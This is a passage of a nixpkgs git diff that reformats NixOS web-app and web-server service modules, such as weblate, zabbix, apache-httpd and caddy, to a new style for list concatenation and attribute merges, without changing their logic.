             versionFile="${cfg.settings.filesystem.data}/.version"
@@ -478,17 +477,16 @@ in
         pretalx-worker = lib.mkIf cfg.celery.enable (
           lib.recursiveUpdate commonUnitConfig {
             description = "pretalx asynchronous job runner";
-            after =
-              [
-                "network.target"
-                "redis-pretalx.service"
-              ]
-              ++ lib.optionals (cfg.settings.database.backend == "postgresql") [
-                "postgresql.service"
-              ]
-              ++ lib.optionals (cfg.settings.database.backend == "mysql") [
-                "mysql.service"
-              ];
+            after = [
+              "network.target"
+              "redis-pretalx.service"
+            ]
+            ++ lib.optionals (cfg.settings.database.backend == "postgresql") [
+              "postgresql.service"
+            ]
+            ++ lib.optionals (cfg.settings.database.backend == "mysql") [
+              "mysql.service"
+            ];
             wantedBy = [ "multi-user.target" ];
             serviceConfig.ExecStart = "${lib.getExe' pythonEnv "celery"} -A pretalx.celery_app worker ${cfg.celery.extraArgs}";
           }
diff --git a/nixos/modules/services/web-apps/reposilite.nix b/nixos/modules/services/web-apps/reposilite.nix
index ac9c9937bcfa..c27cfe087317 100644
--- a/nixos/modules/services/web-apps/reposilite.nix
+++ b/nixos/modules/services/web-apps/reposilite.nix
@@ -395,10 +395,11 @@ in
     systemd.services.reposilite = {
       enable = true;
       wantedBy = [ "multi-user.target" ];
-      after =
-        [ "network.target" ]
-        ++ (lib.optional useMySQL "mysql.service")
-        ++ (lib.optional usePostgres "postgresql.service");
+      after = [
+        "network.target"
+      ]
+      ++ (lib.optional useMySQL "mysql.service")
+      ++ (lib.optional usePostgres "postgresql.service");
 
       script =
         lib.optionalString (cfg.keyPasswordFile != null && cfg.settings.keyPassword == null) ''
diff --git a/nixos/modules/services/web-apps/screego.nix b/nixos/modules/services/web-apps/screego.nix
index f692c7ff7958..68a9224ded22 100644
--- a/nixos/modules/services/web-apps/screego.nix
+++ b/nixos/modules/services/web-apps/screego.nix
@@ -90,7 +90,8 @@ in
           ExecStart = "${lib.getExe pkgs.screego} serve";
           Restart = "on-failure";
           RestartSec = "5s";
-        } // lib.optionalAttrs (cfg.environmentFile != null) { EnvironmentFile = cfg.environmentFile; };
+        }
+        // lib.optionalAttrs (cfg.environmentFile != null) { EnvironmentFile = cfg.environmentFile; };
       };
     };
 }
diff --git a/nixos/modules/services/web-apps/shiori.nix b/nixos/modules/services/web-apps/shiori.nix
index fac667d93090..05222ef8390b 100644
--- a/nixos/modules/services/web-apps/shiori.nix
+++ b/nixos/modules/services/web-apps/shiori.nix
@@ -65,13 +65,12 @@ in
         "postgresql.service"
         "mysql.service"
       ];
-      environment =
-        {
-          SHIORI_DIR = "/var/lib/shiori";
-        }
-        // lib.optionalAttrs (cfg.databaseUrl != null) {
-          SHIORI_DATABASE_URL = cfg.databaseUrl;
-        };
+      environment = {
+        SHIORI_DIR = "/var/lib/shiori";
+      }
+      // lib.optionalAttrs (cfg.databaseUrl != null) {
+        SHIORI_DATABASE_URL = cfg.databaseUrl;
+      };
 
       serviceConfig = {
         ExecStart = "${cfg.package}/bin/shiori server --address '${cfg.address}' --port '${toString cfg.port}' --webroot '${cfg.webRoot}'";
@@ -83,23 +82,22 @@ in
 
         # Security options
         EnvironmentFile = lib.optional (cfg.environmentFile != null) cfg.environmentFile;
-        BindReadOnlyPaths =
-          [
-            "/nix/store"
+        BindReadOnlyPaths = [
+          "/nix/store"
 
-            # For SSL certificates, and the resolv.conf
-            "/etc"
-          ]
-          ++ lib.optional (
-            config.services.postgresql.enable
-            && cfg.databaseUrl != null
-            && lib.strings.hasPrefix "postgres://" cfg.databaseUrl
-          ) "/run/postgresql"
-          ++ lib.optional (
-            config.services.mysql.enable
-            && cfg.databaseUrl != null
-            && lib.strings.hasPrefix "mysql://" cfg.databaseUrl
-          ) "/var/run/mysqld";
+          # For SSL certificates, and the resolv.conf
+          "/etc"
+        ]
+        ++ lib.optional (
+          config.services.postgresql.enable
+          && cfg.databaseUrl != null
+          && lib.strings.hasPrefix "postgres://" cfg.databaseUrl
+        ) "/run/postgresql"
+        ++ lib.optional (
+          config.services.mysql.enable
+          && cfg.databaseUrl != null
+          && lib.strings.hasPrefix "mysql://" cfg.databaseUrl
+        ) "/var/run/mysqld";
 
         CapabilityBoundingSet = "";
 
diff --git a/nixos/modules/services/web-apps/snipe-it.nix b/nixos/modules/services/web-apps/snipe-it.nix
index 66e1e1266881..7b8f55b55c9d 100644
--- a/nixos/modules/services/web-apps/snipe-it.nix
+++ b/nixos/modules/services/web-apps/snipe-it.nix
@@ -387,7 +387,8 @@ in
         "listen.mode" = "0660";
         "listen.owner" = user;
         "listen.group" = group;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     services.nginx = {
diff --git a/nixos/modules/services/web-apps/tt-rss.nix b/nixos/modules/services/web-apps/tt-rss.nix
index b02acd26731e..b73432b445ff 100644
--- a/nixos/modules/services/web-apps/tt-rss.nix
+++ b/nixos/modules/services/web-apps/tt-rss.nix
@@ -668,10 +668,11 @@ in
 
         wantedBy = [ "multi-user.target" ];
         requires = optional mysqlLocal "mysql.service" ++ optional pgsqlLocal "postgresql.service";
-        after =
-          [ "network.target" ]
-          ++ optional mysqlLocal "mysql.service"
-          ++ optional pgsqlLocal "postgresql.service";
+        after = [
+          "network.target"
+        ]
+        ++ optional mysqlLocal "mysql.service"
+        ++ optional pgsqlLocal "postgresql.service";
       };
     };
 
diff --git a/nixos/modules/services/web-apps/vikunja.nix b/nixos/modules/services/web-apps/vikunja.nix
index 4a6bae2d123a..187aeff446ef 100644
--- a/nixos/modules/services/web-apps/vikunja.nix
+++ b/nixos/modules/services/web-apps/vikunja.nix
@@ -115,10 +115,11 @@ in
 
     systemd.services.vikunja = {
       description = "vikunja";
-      after =
-        [ "network.target" ]
-        ++ lib.optional usePostgresql "postgresql.service"
-        ++ lib.optional useMysql "mysql.service";
+      after = [
+        "network.target"
+      ]
+      ++ lib.optional usePostgresql "postgresql.service"
+      ++ lib.optional useMysql "mysql.service";
       wantedBy = [ "multi-user.target" ];
       path = [ cfg.package ];
       restartTriggers = [ configFile ];
diff --git a/nixos/modules/services/web-apps/wakapi.nix b/nixos/modules/services/web-apps/wakapi.nix
index f833c0c0e45f..184b13299532 100644
--- a/nixos/modules/services/web-apps/wakapi.nix
+++ b/nixos/modules/services/web-apps/wakapi.nix
@@ -135,10 +135,12 @@ in
       description = "Wakapi (self-hosted WakaTime-compatible backend)";
       wants = [
         "network-online.target"
-      ] ++ optional (cfg.database.dialect == "postgres") "postgresql.service";
+      ]
+      ++ optional (cfg.database.dialect == "postgres") "postgresql.service";
       after = [
         "network-online.target"
-      ] ++ optional (cfg.database.dialect == "postgres") "postgresql.service";
+      ]
+      ++ optional (cfg.database.dialect == "postgres") "postgresql.service";
       wantedBy = [ "multi-user.target" ];
 
       script = ''
diff --git a/nixos/modules/services/web-apps/weblate.nix b/nixos/modules/services/web-apps/weblate.nix
index 921330db4422..325e460778f4 100644
--- a/nixos/modules/services/web-apps/weblate.nix
+++ b/nixos/modules/services/web-apps/weblate.nix
@@ -31,85 +31,84 @@ let
   };
 
   # This extends and overrides the weblate/settings_example.py code found in upstream.
-  weblateConfig =
-    ''
-      # This was autogenerated by the NixOS module.
+  weblateConfig = ''
+    # This was autogenerated by the NixOS module.
 
-      SITE_TITLE = "Weblate"
-      SITE_DOMAIN = "${cfg.localDomain}"
-      # TLS terminates at the reverse proxy, but this setting controls how links to weblate are generated.
-      ENABLE_HTTPS = True
-      SESSION_COOKIE_SECURE = ENABLE_HTTPS
-      DATA_DIR = "${dataDir}"
-      CACHE_DIR = f"{DATA_DIR}/cache"
-      STATIC_ROOT = "${finalPackage.static}"
-      MEDIA_ROOT = "/var/lib/weblate/media"
-      COMPRESS_ROOT = "${finalPackage.static}"
-      COMPRESS_OFFLINE = True
-      DEBUG = False
+    SITE_TITLE = "Weblate"
+    SITE_DOMAIN = "${cfg.localDomain}"
+    # TLS terminates at the reverse proxy, but this setting controls how links to weblate are generated.
+    ENABLE_HTTPS = True
+    SESSION_COOKIE_SECURE = ENABLE_HTTPS
+    DATA_DIR = "${dataDir}"
+    CACHE_DIR = f"{DATA_DIR}/cache"
+    STATIC_ROOT = "${finalPackage.static}"
+    MEDIA_ROOT = "/var/lib/weblate/media"
+    COMPRESS_ROOT = "${finalPackage.static}"
+    COMPRESS_OFFLINE = True
+    DEBUG = False
 
-      with open("${cfg.djangoSecretKeyFile}") as f:
-        SECRET_KEY = f.read().rstrip("\n")
+    with open("${cfg.djangoSecretKeyFile}") as f:
+      SECRET_KEY = f.read().rstrip("\n")
 
-      CACHES = {
-        "default": {
-          "BACKEND": "django_redis.cache.RedisCache",
-          "LOCATION": "unix://${config.services.redis.servers.weblate.unixSocket}",
-          "OPTIONS": {
-            "CLIENT_CLASS": "django_redis.client.DefaultClient",
-            "PASSWORD": None,
-            "CONNECTION_POOL_KWARGS": {},
-          },
-          "KEY_PREFIX": "weblate",
-          "TIMEOUT": 3600,
+    CACHES = {
+      "default": {
+        "BACKEND": "django_redis.cache.RedisCache",
+        "LOCATION": "unix://${config.services.redis.servers.weblate.unixSocket}",
+        "OPTIONS": {
+          "CLIENT_CLASS": "django_redis.client.DefaultClient",
+          "PASSWORD": None,
+          "CONNECTION_POOL_KWARGS": {},
         },
-        "avatar": {
-          "BACKEND": "django.core.cache.backends.filebased.FileBasedCache",
-          "LOCATION": "/var/lib/weblate/avatar-cache",
-          "TIMEOUT": 86400,
-          "OPTIONS": {"MAX_ENTRIES": 1000},
-        }
+        "KEY_PREFIX": "weblate",
+        "TIMEOUT": 3600,
+      },
+      "avatar": {
+        "BACKEND": "django.core.cache.backends.filebased.FileBasedCache",
+        "LOCATION": "/var/lib/weblate/avatar-cache",
+        "TIMEOUT": 86400,
+        "OPTIONS": {"MAX_ENTRIES": 1000},
       }
+    }
 
-      CELERY_TASK_ALWAYS_EAGER = False
-      CELERY_BROKER_URL = "redis+socket://${config.services.redis.servers.weblate.unixSocket}"
-      CELERY_RESULT_BACKEND = CELERY_BROKER_URL
+    CELERY_TASK_ALWAYS_EAGER = False
+    CELERY_BROKER_URL = "redis+socket://${config.services.redis.servers.weblate.unixSocket}"
+    CELERY_RESULT_BACKEND = CELERY_BROKER_URL
 
-      VCS_BACKENDS = ("weblate.vcs.git.GitRepository",)
+    VCS_BACKENDS = ("weblate.vcs.git.GitRepository",)
 
-      SITE_URL = "https://{}".format(SITE_DOMAIN)
+    SITE_URL = "https://{}".format(SITE_DOMAIN)
 
-      # WebAuthn
-      OTP_WEBAUTHN_RP_NAME = SITE_TITLE
-      OTP_WEBAUTHN_RP_ID = SITE_DOMAIN.split(":")[0]
-      OTP_WEBAUTHN_ALLOWED_ORIGINS = [SITE_URL]
-    ''
-    + lib.optionalString cfg.configurePostgresql ''
-      DATABASES = {
-        "default": {
-          "ENGINE": "django.db.backends.postgresql",
-          "HOST": "/run/postgresql",
-          "NAME": "weblate",
-          "USER": "weblate",
-        }
+    # WebAuthn
+    OTP_WEBAUTHN_RP_NAME = SITE_TITLE
+    OTP_WEBAUTHN_RP_ID = SITE_DOMAIN.split(":")[0]
+    OTP_WEBAUTHN_ALLOWED_ORIGINS = [SITE_URL]
+  ''
+  + lib.optionalString cfg.configurePostgresql ''
+    DATABASES = {
+      "default": {
+        "ENGINE": "django.db.backends.postgresql",
+        "HOST": "/run/postgresql",
+        "NAME": "weblate",
+        "USER": "weblate",
       }
-    ''
-    + lib.optionalString cfg.smtp.enable ''
-      EMAIL_HOST = "${cfg.smtp.host}"
-      EMAIL_USE_TLS = True
-      EMAIL_PORT = ${builtins.toString cfg.smtp.port}
-      SERVER_EMAIL = "${cfg.smtp.from}"
-      DEFAULT_FROM_EMAIL = "${cfg.smtp.from}"
-    ''
-    + lib.optionalString (cfg.smtp.enable && cfg.smtp.user != null) ''
-      ADMINS = (("Weblate Admin", "${cfg.smtp.user}"),)
-      EMAIL_HOST_USER = "${cfg.smtp.user}"
-    ''
-    + lib.optionalString (cfg.smtp.enable && cfg.smtp.passwordFile != null) ''
-      with open("${cfg.smtp.passwordFile}") as f:
-        EMAIL_HOST_PASSWORD = f.read().rstrip("\n")
-    ''
-    + cfg.extraConfig;
+    }
+  ''
+  + lib.optionalString cfg.smtp.enable ''
+    EMAIL_HOST = "${cfg.smtp.host}"
+    EMAIL_USE_TLS = True
+    EMAIL_PORT = ${builtins.toString cfg.smtp.port}
+    SERVER_EMAIL = "${cfg.smtp.from}"
+    DEFAULT_FROM_EMAIL = "${cfg.smtp.from}"
+  ''
+  + lib.optionalString (cfg.smtp.enable && cfg.smtp.user != null) ''
+    ADMINS = (("Weblate Admin", "${cfg.smtp.user}"),)
+    EMAIL_HOST_USER = "${cfg.smtp.user}"
+  ''
+  + lib.optionalString (cfg.smtp.enable && cfg.smtp.passwordFile != null) ''
+    with open("${cfg.smtp.passwordFile}") as f:
+      EMAIL_HOST_PASSWORD = f.read().rstrip("\n")
+  ''
+  + cfg.extraConfig;
   settings_py =
     pkgs.runCommand "weblate_settings.py"
       {
diff --git a/nixos/modules/services/web-apps/windmill.nix b/nixos/modules/services/web-apps/windmill.nix
index b7b3ba3ca976..d39d23d53ee5 100644
--- a/nixos/modules/services/web-apps/windmill.nix
+++ b/nixos/modules/services/web-apps/windmill.nix
@@ -107,20 +107,19 @@ in
     systemd.services =
       let
         useUrlPath = (cfg.database.urlPath != null);
-        serviceConfig =
-          {
-            DynamicUser = true;
-            # using the same user to simplify db connection
-            User = cfg.database.user;
-            ExecStart = "${pkgs.windmill}/bin/windmill";
+        serviceConfig = {
+          DynamicUser = true;
+          # using the same user to simplify db connection
+          User = cfg.database.user;
+          ExecStart = "${pkgs.windmill}/bin/windmill";
 
-            Restart = "always";
-          }
-          // lib.optionalAttrs useUrlPath {
-            LoadCredential = [
-              "DATABASE_URL_FILE:${cfg.database.urlPath}"
-            ];
-          };
+          Restart = "always";
+        }
+        // lib.optionalAttrs useUrlPath {
+          LoadCredential = [
+            "DATABASE_URL_FILE:${cfg.database.urlPath}"
+          ];
+        };
         db_url_envs =
           lib.optionalAttrs useUrlPath {
             DATABASE_URL_FILE = "%d/DATABASE_URL_FILE";
@@ -178,7 +177,8 @@ in
             WM_BASE_URL = cfg.baseUrl;
             RUST_LOG = cfg.logLevel;
             MODE = "server";
-          } // db_url_envs;
+          }
+          // db_url_envs;
         };
 
         windmill-worker = {
@@ -196,7 +196,8 @@ in
             MODE = "worker";
             WORKER_GROUP = "default";
             KEEP_JOB_DIR = "false";
-          } // db_url_envs;
+          }
+          // db_url_envs;
         };
 
         windmill-worker-native = {
@@ -213,7 +214,8 @@ in
             RUST_LOG = cfg.logLevel;
             MODE = "worker";
             WORKER_GROUP = "native";
-          } // db_url_envs;
+          }
+          // db_url_envs;
         };
       };
   };
diff --git a/nixos/modules/services/web-apps/wordpress.nix b/nixos/modules/services/web-apps/wordpress.nix
index cb925cac232a..dfe6e26c2a13 100644
--- a/nixos/modules/services/web-apps/wordpress.nix
+++ b/nixos/modules/services/web-apps/wordpress.nix
@@ -473,7 +473,8 @@ in
           settings = {
             "listen.owner" = webserver.user;
             "listen.group" = webserver.group;
-          } // cfg.poolConfig;
+          }
+          // cfg.poolConfig;
         })
       ) eachSite;
 
diff --git a/nixos/modules/services/web-apps/writefreely.nix b/nixos/modules/services/web-apps/writefreely.nix
index be032d34d993..ce3ea822d0ed 100644
--- a/nixos/modules/services/web-apps/writefreely.nix
+++ b/nixos/modules/services/web-apps/writefreely.nix
@@ -354,11 +354,12 @@ in
     };
 
     systemd.services.writefreely = {
-      after =
-        [ "network.target" ]
-        ++ optional isSqlite "writefreely-sqlite-init.service"
-        ++ optional isMysql "writefreely-mysql-init.service"
-        ++ optional isMysqlLocal "mysql.service";
+      after = [
+        "network.target"
+      ]
+      ++ optional isSqlite "writefreely-sqlite-init.service"
+      ++ optional isMysql "writefreely-mysql-init.service"
+      ++ optional isMysqlLocal "mysql.service";
       wantedBy = [ "multi-user.target" ];
 
       serviceConfig = {
diff --git a/nixos/modules/services/web-apps/zabbix.nix b/nixos/modules/services/web-apps/zabbix.nix
index 5c9a5865e759..8076361440d7 100644
--- a/nixos/modules/services/web-apps/zabbix.nix
+++ b/nixos/modules/services/web-apps/zabbix.nix
@@ -267,45 +267,46 @@ in
           $DB['DOUBLE_IEEE754'] = 'true';
         '';
 
-    systemd.tmpfiles.rules =
-      [ "d '${stateDir}' 0750 ${user} ${group} - -" ]
-      ++ optionals (cfg.frontend == "httpd") [
-        "d '${stateDir}/session' 0750 ${user} ${config.services.httpd.group} - -"
-      ]
-      ++ optionals (cfg.frontend == "nginx") [
-        "d '${stateDir}/session' 0750 ${user} ${config.services.nginx.group} - -"
-      ];
+    systemd.tmpfiles.rules = [
+      "d '${stateDir}' 0750 ${user} ${group} - -"
+    ]
+    ++ optionals (cfg.frontend == "httpd") [
+      "d '${stateDir}/session' 0750 ${user} ${config.services.httpd.group} - -"
+    ]
+    ++ optionals (cfg.frontend == "nginx") [
+      "d '${stateDir}/session' 0750 ${user} ${config.services.nginx.group} - -"
+    ];
 
     services.phpfpm.pools.zabbix = {
       inherit user;
       group = config.services.${cfg.frontend}.group;
-      phpOptions =
-        ''
-          # https://www.zabbix.com/documentation/current/manual/installation/install
-          memory_limit = 128M
-          post_max_size = 16M
-          upload_max_filesize = 2M
-          max_execution_time = 300
-          max_input_time = 300
-          session.auto_start = 0
-          mbstring.func_overload = 0
-          always_populate_raw_post_data = -1
-          # https://bbs.archlinux.org/viewtopic.php?pid=1745214#p1745214
-          session.save_path = ${stateDir}/session
-        ''
-        + optionalString (config.time.timeZone != null) ''
-          date.timezone = "${config.time.timeZone}"
-        ''
-        + optionalString (cfg.database.type == "oracle") ''
-          extension=${pkgs.phpPackages.oci8}/lib/php/extensions/oci8.so
-        '';
+      phpOptions = ''
+        # https://www.zabbix.com/documentation/current/manual/installation/install
+        memory_limit = 128M
+        post_max_size = 16M
+        upload_max_filesize = 2M
+        max_execution_time = 300
+        max_input_time = 300
+        session.auto_start = 0
+        mbstring.func_overload = 0
+        always_populate_raw_post_data = -1
+        # https://bbs.archlinux.org/viewtopic.php?pid=1745214#p1745214
+        session.save_path = ${stateDir}/session
+      ''
+      + optionalString (config.time.timeZone != null) ''
+        date.timezone = "${config.time.timeZone}"
+      ''
+      + optionalString (cfg.database.type == "oracle") ''
+        extension=${pkgs.phpPackages.oci8}/lib/php/extensions/oci8.so
+      '';
       phpEnv.ZABBIX_CONFIG = "${zabbixConfig}";
       settings = {
         "listen.owner" =
           if cfg.frontend == "httpd" then config.services.httpd.user else config.services.nginx.user;
         "listen.group" =
           if cfg.frontend == "httpd" then config.services.httpd.group else config.services.nginx.group;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     services.httpd = mkIf (cfg.frontend == "httpd") {
diff --git a/nixos/modules/services/web-servers/apache-httpd/default.nix b/nixos/modules/services/web-servers/apache-httpd/default.nix
index 0363b0ab6923..aa3ae96896d6 100644
--- a/nixos/modules/services/web-servers/apache-httpd/default.nix
+++ b/nixos/modules/services/web-servers/apache-httpd/default.nix
@@ -78,40 +78,39 @@ let
   enableUserDir = any (vhost: vhost.enableUserDir) vhosts;
 
   # NOTE: generally speaking order of modules is very important
-  modules =
-    [
-      # required apache modules our httpd service cannot run without
-      "authn_core"
-      "authz_core"
-      "log_config"
-      "mime"
-      "autoindex"
-      "negotiation"
-      "dir"
-      "alias"
-      "rewrite"
-      "unixd"
-      "slotmem_shm"
-      "socache_shmcb"
-      "mpm_${cfg.mpm}"
-    ]
-    ++ (if cfg.mpm == "prefork" then [ "cgi" ] else [ "cgid" ])
-    ++ optional enableHttp2 "http2"
-    ++ optional enableSSL "ssl"
-    ++ optional enableUserDir "userdir"
-    ++ optional cfg.enableMellon {
-      name = "auth_mellon";
-      path = "${pkgs.apacheHttpdPackages.mod_auth_mellon}/modules/mod_auth_mellon.so";
-    }
-    ++ optional cfg.enablePHP {
-      name = phpModuleName;
-      path = "${php}/modules/lib${phpModuleName}.so";
-    }
-    ++ optional cfg.enablePerl {
-      name = "perl";
-      path = "${mod_perl}/modules/mod_perl.so";
-    }
-    ++ cfg.extraModules;
+  modules = [
+    # required apache modules our httpd service cannot run without
+    "authn_core"
+    "authz_core"
+    "log_config"
+    "mime"
+    "autoindex"
+    "negotiation"
+    "dir"
+    "alias"
+    "rewrite"
+    "unixd"
+    "slotmem_shm"
+    "socache_shmcb"
+    "mpm_${cfg.mpm}"
+  ]
+  ++ (if cfg.mpm == "prefork" then [ "cgi" ] else [ "cgid" ])
+  ++ optional enableHttp2 "http2"
+  ++ optional enableSSL "ssl"
+  ++ optional enableUserDir "userdir"
+  ++ optional cfg.enableMellon {
+    name = "auth_mellon";
+    path = "${pkgs.apacheHttpdPackages.mod_auth_mellon}/modules/mod_auth_mellon.so";
+  }
+  ++ optional cfg.enablePHP {
+    name = phpModuleName;
+    path = "${php}/modules/lib${phpModuleName}.so";
+  }
+  ++ optional cfg.enablePerl {
+    name = "perl";
+    path = "${mod_perl}/modules/mod_perl.so";
+  }
+  ++ cfg.extraModules;
 
   loggingConf = (
     if cfg.logFormat != "none" then
@@ -742,51 +741,51 @@ in
 
   config = mkIf cfg.enable {
 
-    assertions =
-      [
-        {
-          assertion = all (hostOpts: !hostOpts.enableSSL) vhosts;
-          message = ''
-            The option `services.httpd.virtualHosts.<name>.enableSSL` no longer has any effect; please remove it.
-            Select one of `services.httpd.virtualHosts.<name>.addSSL`, `services.httpd.virtualHosts.<name>.forceSSL`,
-            or `services.httpd.virtualHosts.<name>.onlySSL`.
-          '';
-        }
-        {
-          assertion = all (
-            hostOpts: with hostOpts; !(addSSL && onlySSL) && !(forceSSL && onlySSL) && !(addSSL && forceSSL)
-          ) vhosts;
-          message = ''
-            Options `services.httpd.virtualHosts.<name>.addSSL`,
-            `services.httpd.virtualHosts.<name>.onlySSL` and `services.httpd.virtualHosts.<name>.forceSSL`
-            are mutually exclusive.
-          '';
-        }
-        {
-          assertion = all (hostOpts: !(hostOpts.enableACME && hostOpts.useACMEHost != null)) vhosts;
-          message = ''
-            Options `services.httpd.virtualHosts.<name>.enableACME` and
-            `services.httpd.virtualHosts.<name>.useACMEHost` are mutually exclusive.
-          '';
-        }
-        {
-          assertion = cfg.enablePHP -> php.ztsSupport;
-          message = ''
-            The php package provided by `services.httpd.phpPackage` is not built with zts support. Please
-            ensure the php has zts support by settings `services.httpd.phpPackage = php.override { ztsSupport = true; }`
-          '';
-        }
-      ]
-      ++ map (
-        name:
-        mkCertOwnershipAssertion {
-          cert = config.security.acme.certs.${name};
-          groups = config.users.groups;
-          services = [
-            config.systemd.services.httpd
-          ] ++ lib.optional (vhostCertNames != [ ]) config.systemd.services.httpd-config-reload;
-        }
-      ) vhostCertNames;
+    assertions = [
+      {
+        assertion = all (hostOpts: !hostOpts.enableSSL) vhosts;
+        message = ''
+          The option `services.httpd.virtualHosts.<name>.enableSSL` no longer has any effect; please remove it.
+          Select one of `services.httpd.virtualHosts.<name>.addSSL`, `services.httpd.virtualHosts.<name>.forceSSL`,
+          or `services.httpd.virtualHosts.<name>.onlySSL`.
+        '';
+      }
+      {
+        assertion = all (
+          hostOpts: with hostOpts; !(addSSL && onlySSL) && !(forceSSL && onlySSL) && !(addSSL && forceSSL)
+        ) vhosts;
+        message = ''
+          Options `services.httpd.virtualHosts.<name>.addSSL`,
+          `services.httpd.virtualHosts.<name>.onlySSL` and `services.httpd.virtualHosts.<name>.forceSSL`
+          are mutually exclusive.
+        '';
+      }
+      {
+        assertion = all (hostOpts: !(hostOpts.enableACME && hostOpts.useACMEHost != null)) vhosts;
+        message = ''
+          Options `services.httpd.virtualHosts.<name>.enableACME` and
+          `services.httpd.virtualHosts.<name>.useACMEHost` are mutually exclusive.
+        '';
+      }
+      {
+        assertion = cfg.enablePHP -> php.ztsSupport;
+        message = ''
+          The php package provided by `services.httpd.phpPackage` is not built with zts support. Please
+          ensure the php has zts support by settings `services.httpd.phpPackage = php.override { ztsSupport = true; }`
+        '';
+      }
+    ]
+    ++ map (
+      name:
+      mkCertOwnershipAssertion {
+        cert = config.security.acme.certs.${name};
+        groups = config.users.groups;
+        services = [
+          config.systemd.services.httpd
+        ]
+        ++ lib.optional (vhostCertNames != [ ]) config.systemd.services.httpd-config-reload;
+      }
+    ) vhostCertNames;
 
     warnings = mapAttrsToList (name: hostOpts: ''
       Using config.services.httpd.virtualHosts."${name}".servedFiles is deprecated and will become unsupported in a future release. Your configuration will continue to work as is but please migrate your configuration to config.services.httpd.virtualHosts."${name}".locations before the 20.09 release of NixOS.
@@ -850,16 +849,15 @@ in
       };
     };
 
-    services.httpd.phpOptions =
-      ''
-        ; Don't advertise PHP
-        expose_php = off
-      ''
-      + optionalString (config.time.timeZone != null) ''
+    services.httpd.phpOptions = ''
+      ; Don't advertise PHP
+      expose_php = off
+    ''
+    + optionalString (config.time.timeZone != null) ''
 
-        ; Apparently PHP doesn't use $TZ.
-        date.timezone = "${config.time.timeZone}"
-      '';
+      ; Apparently PHP doesn't use $TZ.
+      date.timezone = "${config.time.timeZone}"
+    '';
 
     services.httpd.extraModules = mkBefore [
       # HTTP authentication mechanisms: basic and digest.
@@ -917,10 +915,11 @@ in
       description = "Apache HTTPD";
       wantedBy = [ "multi-user.target" ];
       wants = concatLists (map (certName: [ "acme-finished-${certName}.target" ]) vhostCertNames);
-      after =
-        [ "network.target" ]
-        ++ map (certName: "acme-selfsigned-${certName}.service") vhostCertNames
-        ++ map (certName: "acme-${certName}.service") independentCertNames; # avoid loading self-signed key w/ real cert, or vice-versa
+      after = [
+        "network.target"
+      ]
+      ++ map (certName: "acme-selfsigned-${certName}.service") vhostCertNames
+      ++ map (certName: "acme-${certName}.service") independentCertNames; # avoid loading self-signed key w/ real cert, or vice-versa
       before = map (certName: "acme-${certName}.service") dependentCertNames;
       restartTriggers = [ cfg.configFile ];
 
diff --git a/nixos/modules/services/web-servers/caddy/default.nix b/nixos/modules/services/web-servers/caddy/default.nix
index 9518e145c8c4..f9c50bca7210 100644
--- a/nixos/modules/services/web-servers/caddy/default.nix
+++ b/nixos/modules/services/web-servers/caddy/default.nix
@@ -381,21 +381,20 @@ in
   # implementation
   config = mkIf cfg.enable {
 
-    assertions =
-      [
-        {
-          assertion = cfg.configFile == configFile -> cfg.adapter == "caddyfile" || cfg.adapter == null;
-          message = "To specify an adapter other than 'caddyfile' please provide your own configuration via `services.caddy.configFile`";
-        }
-      ]
-      ++ map (
-        name:
-        mkCertOwnershipAssertion {
-          cert = config.security.acme.certs.${name};
-          groups = config.users.groups;
-          services = [ config.systemd.services.caddy ];
-        }
-      ) vhostCertNames;
+    assertions = [
+      {
+        assertion = cfg.configFile == configFile -> cfg.adapter == "caddyfile" || cfg.adapter == null;
+        message = "To specify an adapter other than 'caddyfile' please provide your own configuration via `services.caddy.configFile`";
+      }
+    ]
+    ++ map (
+      name:
+      mkCertOwnershipAssertion {
+        cert = config.security.acme.certs.${name};
+        groups = config.users.groups;
+        services = [ config.systemd.services.caddy ];
+      }
+    ) vhostCertNames;
 
     services.caddy.globalConfig = ''
       ${optionalString (cfg.email != null) "email ${cfg.email}"}
@@ -440,7 +439,8 @@ in
           # Validating the configuration before applying it ensures we’ll get a proper error that will be reported when switching to the configuration
           ExecReload = [
             ""
-          ] ++ lib.optional cfg.enableReload "${lib.getExe cfg.package} reload ${runOptions} --force";
+          ]
+          ++ lib.optional cfg.enableReload "${lib.getExe cfg.package} reload ${runOptions} --force";
           User = cfg.user;
           Group = cfg.group;
           ReadWritePaths = [ cfg.dataDir ];
diff --git a/nixos/modules/services/web-servers/fcgiwrap.nix b/nixos/modules/services/web-servers/fcgiwrap.nix
index 6824938fe5a0..992f4a46ff4b 100644
--- a/nixos/modules/services/web-servers/fcgiwrap.nix
+++ b/nixos/modules/services/web-servers/fcgiwrap.nix
@@ -148,32 +148,31 @@ in
       after = [ "nss-user-lookup.target" ];
       wantedBy = optional (cfg.socket.type != "unix") "multi-user.target";
 
-      serviceConfig =
-        {
-          ExecStart = ''
-            ${pkgs.fcgiwrap}/sbin/fcgiwrap ${
-              cli.toGNUCommandLineShell { } (
-                {
-                  c = cfg.process.prefork;
-                }
-                // (optionalAttrs (cfg.socket.type != "unix") {
-                  s = "${cfg.socket.type}:${cfg.socket.address}";
-                })
-              )
-            }
-          '';
-        }
-        // (
-          if cfg.process.user != null then
-            {
-              User = cfg.process.user;
-              Group = cfg.process.group;
-            }
-          else
-            {
-              DynamicUser = true;
-            }
-        );
+      serviceConfig = {
+        ExecStart = ''
+          ${pkgs.fcgiwrap}/sbin/fcgiwrap ${
+            cli.toGNUCommandLineShell { } (
+              {
+                c = cfg.process.prefork;
+              }
+              // (optionalAttrs (cfg.socket.type != "unix") {
+                s = "${cfg.socket.type}:${cfg.socket.address}";
+              })
+            )
+          }
+        '';
+      }
+      // (
+        if cfg.process.user != null then
+          {
+            User = cfg.process.user;
+            Group = cfg.process.group;
+          }
+        else
+          {
+            DynamicUser = true;
+          }
+      );
     });
 
     systemd.sockets = forEachInstance (
diff --git a/nixos/modules/services/web-servers/garage.nix b/nixos/modules/services/web-servers/garage.nix
index 1783ca55184c..a71ba2378c44 100644
--- a/nixos/modules/services/web-servers/garage.nix
+++ b/nixos/modules/services/web-servers/garage.nix
@@ -120,7 +120,8 @@ in
       wantedBy = [ "multi-user.target" ];
       restartTriggers = [
         configFile
-      ] ++ (lib.optional (cfg.environmentFile != null) cfg.environmentFile);
+      ]
+      ++ (lib.optional (cfg.environmentFile != null) cfg.environmentFile);
       serviceConfig =
         let
           paths = lib.flatten (
@@ -149,7 +150,8 @@ in
         };
       environment = {
         RUST_LOG = lib.mkDefault "garage=${cfg.logLevel}";
